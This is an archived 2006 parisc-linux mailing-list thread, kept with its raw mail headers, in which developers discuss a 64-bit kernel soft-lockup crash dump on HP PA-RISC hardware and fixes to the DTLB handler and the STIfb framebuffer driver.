NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:22 +0000 (UTC)
Cc: "grundler" <grundler@parisc-linux.org>,
 "parisc-linux" <parisc-linux@lists.parisc-linux.org>,
 "tsg45800" <tsg45800@scarlet.be>
To: "deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2006 17:18:19 -0000
Original-Received: from oola.is.scarlet.be (EHLO oola.is.scarlet.be) [193.74.71.23]
  by mx0.gmx.net (mx075) with SMTP; 22 Mar 2006 18:18:19 +0100
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by oola.is.scarlet.be  with ESMTP id k2MHIGx01692; 
	Wed, 22 Mar 2006 18:18:17 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: 6LETdWRdIyd18PqQe2draGxaa2FkZtWx
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23471

> Hi all,
> 
> it turned out, that it was a stupid bug in the PFN calculation of the D=
TLB
handler routine.
> It's fixed now in CVS.
> The 64bit Kernel boots now, but I still have to clean up STIfb driver t=
o do
the right thing.
> 
> Anyway, nice to have this fixed.
> If STIfb is done, it's time to remove the CONFIG_HPPA_IOREMAP option.
> 
Great job ;-)

Tested on n4k (2 way 64bit kernel) and all seems to works fine.

But unfortuantely failed to boot on b2k (64bit up kernel):
Soft power switch enabled, polling @ 0xfffffff0f0400804.                 =
    
                                                      
STI GSC/PCI core graphics driver Version 0.9a                            =
    
                                                      
STI PCI graphic ROM found at fffffffff4940000 (128 kB), fb at fffffffffb0=
00000
(16 MB)                                              
    id 35acda16-9a02587, conforms to spec rev. 8.0c                      =
    
                                                      
BUG: soft lockup detected on CPU#0!                                      =
    
                                                      
                                                                         =
    
                                                      
     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI                                    =
    
                                                      
PSW: 00001000000001000000000000001111 Not tainted                        =
    
                                                      
r00-03  0000000000000000 0000000000000080 000000001010a908 00000000800000=
00  
                                                      
r04-07  000000000000002a 00000000a8000000 0000000000000555 00000000000000=
0d  
                                                      
r08-11  0000000000000000 0000000090dc4f6c 0000000000000001 0000000010dc51=
c8  
                                                      
r12-15  0000000000000010 0000000000000010 0000000000000001 ffffffffffffff=
ff  
                                                      
r16-19  000000001043b328 0000000000000000 0000000000000000 00000000000000=
00  
                                                      
r20-23  0000000000000000 0000000000000000 0000000000000005 00000000000080=
00  
                                                      
r24-27  0000000000000000 0000000000008000 00000000000000cc 00000000105cbc=
40  
                                                      
r28-31  0000000000000000 00000000002aa800 0000000010dc5390 00000000002aa8=
00  
                                                      
sr0-3   0000000000000000 0000000000000000 0000000000000000 00000000000000=
00  
                                                      
sr4-7   0000000000000000 0000000000000000 0000000000000000 00000000000000=
00  
                                                      
                                                                         =
    
                                                      
      VZOUICununcqcqcqcqcqcrmunTDVZOUI                                   =
    
                                                      
FPSR: 00000100000100000000100000000000                                   =
    
                                                      
FPER1: 24850e06                                                          =
    
                                                      
fr00-03  0000000000000000 0000001f00000000 0000001f00000000 0000001f00000=
000 
                                                      
fr04-07  0000000000000000 5555555555555555 5555555555555555 5555555555555=
555 
                                                      
fr08-11  5555555555555555 5555555555555555 5555555555555555 5555555555555=
555 
                                                      
fr12-15  5555555555555555 5555555555555555 5555555555555555 5555555555555=
555 
                                                      
fr16-19  5555555555555555 5555555555555555 5555555555555555 5555555555555=
555 
                                                      
fr20-23  5555555555555555 5555555555555555 0000000000000000 0000000000000=
000 
                                                      
fr24-27  0000000000000000 5555555555555555 5555555555555555 5555555555555=
555 
                                                      
fr28-31  5555555555555555 5555555555555555 5555555555555555 5555555555555=
555 
                                                      
                                                                         =
    
                                                      
IASQ: 0000000000000000 0000000000000000 IAOQ: 00000000102a3cd8
00000000102a3cdc                                                     
 IIR: d3bd1ae8    ISR: 0000000000000000  IOR: 00000000105cbc40           =
    
                                                      
 CPU:        0   CR30: 0000000010dc4000 CR31: 0000000010584000           =
    
                                                      
 ORIG_R28: 00000000104bd008                                              =
    
                                                      
 IAOQ[0]: memset+0x378/0x8e0                                             =
    
                                                      
 IAOQ[1]: memset+0x37c/0x8e0                                             =
    
                                                      
 RP(r2): __udivdi3+0x518/0x940

(which same 32bit kernel seems to works fine?)

Thanks,
    Joel

PS: on going to test on d380 (will advise later)
=0A=0A-------------------------------------------------------=0ANOTE! My =
email address is changing to ... @scarlet.be=0APlease make the necessary =
changes in your address book. =0A=0A



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Wed, 22 Mar 2006 19:16:19 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200603221916.19396.deller@gmx.de>
References: <IWJHEG$84A0993CB79425B02A52A47173C782A6@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624022 18579 80.91.229.3 (22 Nov 2014 02:40:22 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:22 +0000 (UTC)
Cc: parisc-linux <parisc-linux@lists.parisc-linux.org>,
 tsg45800 <tsg45800@scarlet.be>
To: "Joel Soete" <soete.joel@tiscali.be>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2006 18:16:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx081) with SMTP; 22 Mar 2006 19:16:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 3A2327D6CD;
	Wed, 22 Mar 2006 11:16:27 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01292-07; Wed, 22 Mar 2006 11:16:27 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 80A9B7D6D0;
	Wed, 22 Mar 2006 11:16:26 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F290E7D6C2
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Mar 2006 11:16:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 01285-04 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Mar 2006 11:16:23 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.net [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id E77F77D68D
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Mar 2006 11:16:22 -0700 (MST)
Original-Received: (qmail invoked by alias); 22 Mar 2006 18:16:21 -0000
Original-Received: from p54AD4561.dip0.t-ipconnect.de (EHLO p100.box) [84.173.69.97]
	by mail.gmx.net (mp036) with SMTP; 22 Mar 2006 19:16:21 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <IWJHEG$84A0993CB79425B02A52A47173C782A6@scarlet.be>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: TqYHbFXhLi5n8ffRZWtpZGZjZml1ZBj9
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23472

On Wednesday 22 March 2006 18:18, Joel Soete wrote:
> > The 64bit Kernel boots now, but I still have to clean up STIfb driver to 
> > do the right thing.
> > Anyway, nice to have this fixed.
> > If STIfb is done, it's time to remove the CONFIG_HPPA_IOREMAP option.
> 
> But unfortuantely failed to boot on b2k (64bit up kernel):
> STI GSC/PCI core graphics driver Version 0.9a                                
> STI PCI graphic ROM found at fffffffff4940000 (128 kB), fb at fffffffffb000000
> (16 MB)                                              
>     id 35acda16-9a02587, conforms to spec rev. 8.0c                          
> BUG: soft lockup detected on CPU#0!                                          
> <crash>

That's why I said I need to fix STIfb.... :-)

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Wed, 22 Mar 2006 23:30:19 +0100
Lines: 27
Approved: news@gmane.org
Message-ID: <200603222330.19695.deller@gmx.de>
References: <IWJHEG$84A0993CB79425B02A52A47173C782A6@scarlet.be>
	<200603221916.19396.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624023 18584 80.91.229.3 (22 Nov 2014 02:40:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:23 +0000 (UTC)
Cc: tsg45800 <tsg45800@scarlet.be>
To: parisc-linux@lists.parisc-linux.org
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2006 22:30:30 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx057) with SMTP; 22 Mar 2006 23:30:30 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF99A7D6D5;
	Wed, 22 Mar 2006 15:30:26 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03189-09; Wed, 22 Mar 2006 15:30:26 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id CC0197D6D7;
	Wed, 22 Mar 2006 15:30:25 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 07ABE7D6CC
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Mar 2006 15:30:23 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03189-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Mar 2006 15:30:22 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id F024B7D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Mar 2006 15:30:21 -0700 (MST)
Original-Received: (qmail invoked by alias); 22 Mar 2006 22:30:20 -0000
Original-Received: from p54AD4561.dip0.t-ipconnect.de (EHLO p100.box) [84.173.69.97]
	by mail.gmx.net (mp002) with SMTP; 22 Mar 2006 23:30:20 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <200603221916.19396.deller@gmx.de>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: NOkZcUgZbmw7vq2HZzdLS0RHUzc4clF8
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23473

On Wednesday 22 March 2006 19:16, Helge Deller wrote:
> On Wednesday 22 March 2006 18:18, Joel Soete wrote:
> > > The 64bit Kernel boots now, but I still have to clean up STIfb driver to 
> > > do the right thing.
> > > Anyway, nice to have this fixed.
> > > If STIfb is done, it's time to remove the CONFIG_HPPA_IOREMAP option.
> > 
> > But unfortuantely failed to boot on b2k (64bit up kernel):
> > STI GSC/PCI core graphics driver Version 0.9a                                
> > STI PCI graphic ROM found at fffffffff4940000 (128 kB), fb at fffffffffb000000
> > (16 MB)                                              
> >     id 35acda16-9a02587, conforms to spec rev. 8.0c                          
> > BUG: soft lockup detected on CPU#0!                                          
> > <crash>
> 
> That's why I said I need to fix STIfb.... :-)

It's fixed now in CVS (2.6.16-pa2).
Even X11 on stifb with 64bit kernel works...

Helge
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Wed, 22 Mar 2006 18:49:49 -0500 (EST)
Lines: 16
Approved: news@gmane.org
Message-ID: <200603222349.k2MNnoxd028375@hiauly1.hia.nrc.ca>
References: <200603222330.19695.deller@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624023 18593 80.91.229.3 (22 Nov 2014 02:40:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:23 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 tsg45800@scarlet.be
To: deller@gmx.de (Helge Deller)
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 22 Mar 2006 23:49:53 -0000
Original-Received: from hiauly1.hia.nrc.ca (EHLO hiauly1.hia.nrc.ca) [132.246.100.193]
  by mx0.gmx.net (mx050) with SMTP; 23 Mar 2006 00:49:53 +0100
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k2MNnpSq028377;
	Wed, 22 Mar 2006 18:49:51 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k2MNnoxd028375;
	Wed, 22 Mar 2006 18:49:50 -0500 (EST)
In-Reply-To: <200603222330.19695.deller@gmx.de> from "Helge Deller" at Mar 22, 2006 11:30:19 pm
X-Mailer: ELM [version 2.4 PL25]
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: ldATd5lCPTRt7OjGPjIwMzIxc2tpZMtg
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23474

> > That's why I said I need to fix STIfb.... :-)
> 
> It's fixed now in CVS (2.6.16-pa2).
> Even X11 on stifb with 64bit kernel works...

Did this bug also affect 32bit kernels?  The reason I ask is I
had to back out using 2.6.16-pa0 on my c3k.  The most obvious
symptoms were fsck failures on reboot, iptables error messages
and unreliable behavior of gnome teminal.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Thu, 23 Mar 2006 07:17:24 +0100
Lines: 39
Approved: news@gmane.org
Message-ID: <IWKHH0$9DD34FED84CC88F02F1247DA3E0C4B2A@scarlet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=iso-8859-1
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416624023 18600 80.91.229.3 (22 Nov 2014 02:40:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:23 +0000 (UTC)
Cc: "parisc-linux" <parisc-linux@lists.parisc-linux.org>,
 "tsg45800" <tsg45800@scarlet.be>
To: "deller" <deller@gmx.de>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <soete.joel@tiscali.be>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2006 06:17:25 -0000
Original-Received: from xizor.is.scarlet.be (EHLO xizor.is.scarlet.be) [193.74.71.21]
  by mx0.gmx.net (mx056) with SMTP; 23 Mar 2006 07:17:25 +0100
Original-Received: from (taj.is.scarlet.be [193.74.71.42]) 
	by xizor.is.scarlet.be  with ESMTP id k2N6HOb01969; 
	Thu, 23 Mar 2006 07:17:24 +0100
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: RAQRfEBeMmApvrSZZGFnODkxMjQ1N12U
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23475

> On Wednesday 22 March 2006 19:16, Helge Deller wrote:
> > On Wednesday 22 March 2006 18:18, Joel Soete wrote:
> > > > The 64bit Kernel boots now, but I still have to clean up STIfb dr=
iver to 
> > > > do the right thing.
> > > > Anyway, nice to have this fixed.
> > > > If STIfb is done, it's time to remove the CONFIG_HPPA_IOREMAP opt=
ion.
> > > 
> > > But unfortuantely failed to boot on b2k (64bit up kernel):
> > > STI GSC/PCI core graphics driver Version 0.9a                      =
    
     
> > > STI PCI graphic ROM found at fffffffff4940000 (128 kB), fb at
fffffffffb000000
> > > (16 MB)                                              
> > >     id 35acda16-9a02587, conforms to spec rev. 8.0c                =
    
     
> > > BUG: soft lockup detected on CPU#0!                                =
    
     
> > > <crash>
> > 
> > That's why I said I need to fix STIfb.... :-)
> 
Appologies for my bad understanding of your previous advise ;-)

> It's fixed now in CVS (2.6.16-pa2).
> Even X11 on stifb with 64bit kernel works...
> 
Great I will test asap.

Thanks a lot,
    Joel=0A=0A-------------------------------------------------------=0AN=
OTE! My email address is changing to ... @scarlet.be=0APlease make the ne=
cessary changes in your address book. =0A=0A



From - Thu Nov 08 21:34:28 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: linux-2.6 deller (ioremap-changes)
Date: Thu, 23 Mar 2006 07:46:37 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <200603230746.37433.deller@gmx.de>
References: <200603222349.k2MNnoxd028375@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416624024 18603 80.91.229.3 (22 Nov 2014 02:40:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:40:24 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:29 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 23 Mar 2006 06:46:48 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx090) with SMTP; 23 Mar 2006 07:46:48 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F15697D6EC;
	Wed, 22 Mar 2006 23:46:44 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06550-09; Wed, 22 Mar 2006 23:46:44 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 4B3B17D714;
	Wed, 22 Mar 2006 23:46:44 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id E95107D6C5
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Mar 2006 23:46:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 06550-06 for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Mar 2006 23:46:40 -0700 (MST)
Original-Received: from mail.gmx.net (mail.gmx.de [213.165.64.20])
	by free.linux.hp.com (Postfix) with SMTP id DDA8A7D689
	for <parisc-linux@lists.parisc-linux.org>;
	Wed, 22 Mar 2006 23:46:39 -0700 (MST)
Original-Received: (qmail invoked by alias); 23 Mar 2006 06:46:38 -0000
Original-Received: from p54AD3AA5.dip0.t-ipconnect.de (EHLO p100.box) [84.173.58.165]
	by mail.gmx.net (mp001) with SMTP; 23 Mar 2006 07:46:38 +0100
X-Authenticated: #1045983
User-Agent: KMail/1.9.1
In-Reply-To: <200603222349.k2MNnoxd028375@hiauly1.hia.nrc.ca>
X-Face: *4/{KL3=jWs!v\UO#3e7~Vb1~CL@oP'~|*/M$!9`tb2[;
	fY@)WscF2iV7`,a$141g'o,=?utf-8?q?7X=0A=09=3FBt1Wb=3AL7K6z-?=<?-+-13|S_ixrq58*E`)ZkSe~NSI?u=89G'J<n]7\?[)LCCBZc}~[j(=?utf-8?q?e=7D=0A=09=60-QV=7B=23=25=26=5B=3F=5EfAke6t8QbP=3Bb=27XB?=,ZU84HeThMrO(@/K.`jxq9P({V(AzezCKMxk\F2^p^+"=?utf-8?q?=0A=09=5B?="ppalbA!zy-l)^Qa3*u/Z-1W3,o?2fes2_d\u=1\E9N+~Qo
Content-Disposition: inline
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: an0RfExeMmApvrSZZGFnODkxMjQ1Nx0K
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23476

On Thursday 23 March 2006 00:49, John David Anglin wrote:
> > > That's why I said I need to fix STIfb.... :-)
> > 
> > It's fixed now in CVS (2.6.16-pa2).
> > Even X11 on stifb with 64bit kernel works...
> 
> Did this bug also affect 32bit kernels?  The reason I ask is I
> had to back out using 2.6.16-pa0 on my c3k.  The most obvious
> symptoms were fsck failures on reboot, iptables error messages
> and unreliable behavior of gnome teminal.

The fixes I did was only related to virtually-mapped vs. physically-addressed memory regions.
